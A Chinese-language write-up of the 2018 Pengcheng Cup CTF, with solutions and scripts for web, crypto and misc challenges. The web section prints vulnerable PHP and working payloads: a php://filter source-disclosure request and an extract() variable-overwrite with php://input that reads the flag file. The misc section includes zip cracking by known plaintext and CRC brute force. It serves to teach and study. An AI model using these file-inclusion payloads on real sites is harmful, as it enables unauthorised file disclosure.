鹏城杯2018Writeup

Web狗没有活路啦 (╯°Д°)╯︵ ┻━┻

Web

myblog

index.php的header中有flag: JTNGZmxhZw==,解base64得到参数%3Fflag,猜测index.php存在文件包含,运用flag参数读文件。

payload:PD9waHAgDQoJaGVhZGVyKCdmbGFnOiBKVE5HWm14aFp3PT0nKTsNCglpZihpc3NldCgkX0dFVFsiZmxhZyJdKSl7DQoJCSRmbGFnID0gJF9HRVRbImZsYWciXTsNCgkJaW5jbHVkZSAkZmxhZy4iLnBocCI7DQoJfQ0KPz4=

<?php
    header('flag: JTNGZmxhZw==');
    if(isset($_GET["flag"])){
        $flag = $_GET["flag"];
        include $flag.".php";
    }
?>

提示aboutyou后端,about里也提到了base64,猜测存在YWJvdXQ=.php

payload:http://58.20.46.150:26293/index.php?flag=php://filter/convert.base64-encode/resource=YWJvdXQ=

<?php

    $filename = 'flag.txt';
    $flag = 'flag.txt';
    extract($_GET);

    if(isset($sign)){
        $file = trim(file_get_contents($filename));
        if($sign === $file){
            echo 'Congratulation!<br>';
            echo file_get_contents($$falg);
        }
        else{
            echo 'don`t give up';
        }
    }

?>

变量覆盖+伪协议,让$sign=a$file为post输入,让$falg为flag读取文件。

payload:http://58.20.46.150:26293/YWJvdXQ=.php?sign=a&filename=php://input&falg=flag(post:a)

Crypto

easyCrypto

在搜索过程中找到了这篇文章:https://xz.aliyun.com/t/2830

他的题目的脚本中和本题的加密算法差不多,拿他题目的解密算法改了一下。

脚本如下(直接改的题目脚本):

#!usr/bin/python 
#_*_ coding=UTF-8 _*_

from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
from Crypto import Random
import sys
#from FLAG import flag

class aesdemo:
    #aes = AES.new(key,mode)
    def __init__(self,key):
        self.key = key
        #self.BS=BS


    def pad(self,msg):
        #BS = AES.block_size 
        # aes数据分组长度为128 bit
        byte = 16 - len(msg) % 16
        return msg + chr(byte) * byte
    def unpad(self,msg):
        if not msg:
            return ''
        return msg[:-ord(msg[-1])]        

    def xor(self,a, b):
            #assert len(a) == len(b)
            return ''.join([chr(ord(ai)^ord(bi)) for ai, bi in zip(a,b)])

    def split_by(self,data,step):
            return [data[i : i+step] for i in xrange(0, len(data), step)]


    def tsb_decrypt(self, msg):
        iv, msg = msg[:16], msg[16:]
        a = b2a_hex(iv)
        prev_pt = iv
        prev_ct = iv
        pt = ''
        aes = AES.new(self.key,AES.MODE_CBC,iv)
        for block in self.split_by(msg, 16):
            pt_block = self.xor(block, prev_ct)
            pt_block = aes.decrypt(pt_block)
            pt_block = self.xor(pt_block, prev_pt)
            pt += pt_block

        print pt
        print self.unpad(pt)

# 测试模块
if __name__ == '__main__':
    BS = AES.block_size # aes数据分组长度为128 bit
    key="asdfghjkl1234567890qwertyuiopzxc"
    enc = '524160f3d098ad937e252494f827f8cf26cc549e432ff4b11ccbe2d8bfa76e5c6606aad5ba17488f11189d41bca45baa'
    demo = aesdemo(key)
    #e = demo.encrypt(flag)
    #print("加密:", e)

    demo.tsb_decrypt(a2b_hex(enc))
    #print f



Misc

Traffic Light

两种颜色的灯,每8个会出现没眼色的来分割。猜测表示二进制数据。

脚本将二色灯转换为1和0。

脚本:

from PIL import Image, ImageSequence

image = Image.open('Traffic_Light.gif')
iter = ImageSequence.Iterator(image)

flag = ''
tmp = ''


for i in range(0,1168,2):
  img = iter[i].convert('RGB')
  light1 = img.getpixel((112, 50))
  light2 = img.getpixel((112, 150))
  if str(light2) == '(0, 255, 0)':
    tmp += '0'
  if str(light1) == '(255, 0, 0)':
    tmp += '1'
  if len(tmp) == 8:
    #print tmp
    flag += chr(int(tmp, 2))
    tmp = ''

print(flag)

Quotes

My+mission+in+life+is+not+mer ely+to+survive+but to+thrive+and+to+do+so+w ith+s ome+pass i on+some+compass ion+so me+humor+and+some+style

分组了,而且每组不算+的长度不超过26,猜测对应26个字母,奈何刚开始写脚本多写了个+1,痛失二血。

脚本:

pos = '23 15 18 4 7 1 13 5 19'.split(' ')

flag = ''

for i in pos:
    flag += chr(int(i)+96)

print flag

提交的falg为:flag{word games}

What’s_this

挺麻烦的个题= =

题目文件是个图片,binwalk提取得到1-stage.docx 2-stage.what 7A160.zip EE548.zip zip2.zip

1-stage.docx有隐藏文字,拿出来和 zip2.zip进行明文攻击,得到密码Hello_Hi

解压得到2-stage flowerdance.txt

根据提示用cloacked-pixel提取出隐藏的文件,是个zip。

解压zip得到zip3和zip4,都是加密文件

zip3的文件只有4B,采用CRC爆破得到内容girl

脚本:

import binascii
import base64
import string
import itertools
import struct

alph = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='

crcdict = {}
print "computing all possible CRCs..."
for x in itertools.product(list(alph), repeat=4):
    st = ''.join(x)
    testcrc = binascii.crc32(st)
    crcdict[struct.pack('<i', testcrc)] = st
print "Done!"

f = open('zip3.zip')
data = f.read()
f.close()
crc = ''.join(data[14:18])
if crc in crcdict:
    print crcdict[crc]
else:
    print "FAILED!"

用girl解压zip4得到了fake_flag和what's next.txt

因为what's next.txtzip4的数据长度一样,进行异或后得到新的zip解压得到flag。

file1 = open('I_Love_You.emf','rb')
#file2 = open("what's next.txt",'rb')
flag = open("flag",'wb')
file3 = open('zip4.zip', 'rb')
f1 = file1.read()
#f2 = file2.read()
f3 = file3.read()
print len(f1),len(f3)
out = ''
for i in range(len(f3)):
    out += chr(ord(f1[i])^ord(f3[i]))

with open('flag.zip', 'w') as f:
    f.write(out)

GreatWall

Strgosolve提取转存二进制数据.

用foremost提取出的图片,放大图片发现最上面有莫斯电码

/-.-..--/---.-../--..--/--..---/--.-../--.---./--..../--..---/---..-./--.-../---..../--.-.../----..-/-.-----/--...-/---..--/-.-----/--...-/--.---./---.-../--..--/---..-./--..--/---..--/---.-../--...-/--.---./--..---/

解码得到

%u53%u74,%u67%u34%u6e%u30%u67%u72%u34%u70%u68%u79%u5f%u31%u73%u5f%u31%u6e%u74,%u72,%u73%u74%u31%u6e%u67

%替换成\解unicode

要注意的是还有仨逗号。。根据语义,替换成e不对替换成3对了。